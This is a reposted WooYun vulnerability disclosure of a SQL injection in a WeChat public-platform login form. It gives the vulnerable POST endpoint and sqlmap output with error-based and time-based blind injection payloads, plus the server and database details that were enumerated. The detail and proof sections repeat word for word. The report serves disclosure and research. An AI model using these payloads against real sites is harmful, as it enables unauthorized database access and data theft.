某微信公众平台SQL注入漏洞

admin 2015年7月7日04:52:24评论458 views字数 222阅读0分44秒阅读模式
摘要

2014-10-12: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-08: 细节向公众公开

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2014-78829

漏洞标题: 某微信公众平台SQL注入漏洞 某微信公众平台SQL注入漏洞

相关厂商: 某微信公众平台

漏洞作者: 乐乐、

提交时间: 2014-10-12 11:24

公开时间: 2015-01-08 11:26

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 12

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

1人收藏


漏洞详情

披露状态:

2014-10-12: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-08: 细节向公众公开

简要描述:

SQL注入

详细说明:

小沃微信

某微信公众平台SQL注入漏洞

虽然没找到那么多但是五个例子还是能找够的

某微信公众平台SQL注入漏洞

POST登陆注入

**.**.**.**/index.php?m=Index&a=login 济南民政局

code 区域
**.**.**.**:80/index.php?m=Users&a=checklogin (POST)

username='&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
code 区域
sqlmap identified the following injection points with a total of 3954 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-4637') OR (SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x7176707771,(SELECT (CASE WHEN (2365=2365) THEN 1 ELSE 0 END)),0x7165626471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('daZs'='daZs&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-3792') OR 2540=SLEEP(5) AND ('CLqx'='CLqx&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test

**.**.**.**/index.php?m=Index&a=login 这个好像是官方的

**.**.**.**:80/index.php?m=Users&a=checklogin (POST)

username='&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: POST

Parameter: username

Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause

Payload: username=-9980') OR (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x7176677571,(SELECT (CASE WHEN (5517=5517) THEN 1 ELSE 0 END)),0x71646f7971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('FJFh'='FJFh&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 OR time-based blind

Payload: username=-8998') OR 2425=SLEEP(5) AND ('GHmE'='GHmE&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

---

web server operating system: Windows

web application technology: PHP 5.2.14, Apache 2.2.16

back-end DBMS: MySQL 5.0

available databases [4]:

[*] cx2014

[*] information_schema

[*] mysql

[*] test

某微信公众平台SQL注入漏洞

就不一一举例了,网速很慢,跑的也慢。。。

**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

.......

漏洞证明:

小沃微信

某微信公众平台SQL注入漏洞

虽然没找到那么多但是五个例子还是能找够的

某微信公众平台SQL注入漏洞

POST登陆注入

**.**.**.**/index.php?m=Index&a=login 济南民政局

code 区域
**.**.**.**:80/index.php?m=Users&a=checklogin (POST)

username='&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
code 区域
sqlmap identified the following injection points with a total of 3954 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-4637') OR (SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x7176707771,(SELECT (CASE WHEN (2365=2365) THEN 1 ELSE 0 END)),0x7165626471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('daZs'='daZs&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-3792') OR 2540=SLEEP(5) AND ('CLqx'='CLqx&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test

**.**.**.**/index.php?m=Index&a=login 这个好像是官方的

**.**.**.**:80/index.php?m=Users&a=checklogin (POST)

username='&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: POST

Parameter: username

Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause

Payload: username=-9980') OR (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x7176677571,(SELECT (CASE WHEN (5517=5517) THEN 1 ELSE 0 END)),0x71646f7971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('FJFh'='FJFh&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 OR time-based blind

Payload: username=-8998') OR 2425=SLEEP(5) AND ('GHmE'='GHmE&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515

---

web server operating system: Windows

web application technology: PHP 5.2.14, Apache 2.2.16

back-end DBMS: MySQL 5.0

available databases [4]:

[*] cx2014

[*] information_schema

[*] mysql

[*] test

某微信公众平台SQL注入漏洞

就不一一举例了,网速很慢,跑的也慢。。。

**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

http://**.**.**.**/index.php?m=Index&a=login

**.**.**.**/index.php?m=Index&a=login

.......

修复方案:

过滤

版权声明:转载请注明来源 乐乐、@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-10-14 16:51

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-11-10 09:59 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

    1

    @疯狗 这个有$吗?

  2. 2014-11-13 09:25 | 辣辣飞侠 ( 路人 | Rank:11 漏洞数:1 | 维护网络安全从我做起)

    1

    @乐乐、 你QQ多少 想和你交流交流

  3. 2014-11-26 20:48 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

    1

    系统 通用型漏洞奖励 某微信公众平台SQL注... 收入 100 2014-11-26 = = 好长时间

  4. 2014-12-03 00:19 | test233 ( 路人 | Rank:0 漏洞数:1 | 这真的就是简介)

    1

    pigcms 这个也能刷。。。也是醉了

  5. 2015-01-08 12:09 | 巫妖 ( 实习白帽子 | Rank:38 漏洞数:5 | 腚大屁股圆,家里一定很有钱)

    1

    给里

  6. 2015-01-08 14:19 | Arthur ( 实习白帽子 | Rank:85 漏洞数:35 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)

    1

    我发了几个和微信有关的,现在还了无音讯,唉~

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin